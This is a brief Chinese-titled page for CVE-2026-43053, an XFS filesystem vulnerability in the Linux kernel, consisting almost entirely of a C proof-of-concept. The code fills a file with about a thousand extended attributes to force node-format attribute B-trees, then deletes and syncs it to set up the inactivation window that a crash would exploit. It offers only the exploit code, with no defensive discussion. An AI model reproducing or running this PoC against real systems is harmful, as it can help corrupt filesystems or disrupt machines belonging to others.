CVE-2026-43053 Linux内核XFS文件系统崩溃漏洞

#include <stdio.h> #include <stdlib.h> #include <sys/xattr.h> #include <unistd.h> /* * PoC for CVE-2026-43053 * This script creates a file with enough extended attributes * to force the XFS B-tree into 'node' format. * Deleting the file triggers the inactivation process. * Exploitation requires a system crash during the inactivation window. */ int main() { const char *filename = "poc_xfs_file.txt"; FILE *fp = fopen(filename, "w"); if (!fp) { perror("Failed to create file"); return 1; } fclose(fp); // Add many attributes to trigger node format (btree split) char name[32]; char value[4] = "val"; for (int i = 0; i < 1000; i++) { snprintf(name, sizeof(name), "user.attr%d", i); if (setxattr(filename, name, value, 3, 0) != 0) { // Might fail due to limits, but enough is usually reached before // perror("setxattr"); } } printf("File with node-format xattrs created. Triggering inactivation...\n"); // Deleting the file triggers xfs_attr_inactive -> xfs_attr3_node_inactive unlink(filename); // Ensure data is written to disk to set up the crash scenario sync(); printf("PoC setup complete. A crash during the window would exploit the vulnerability.\n"); return 0; }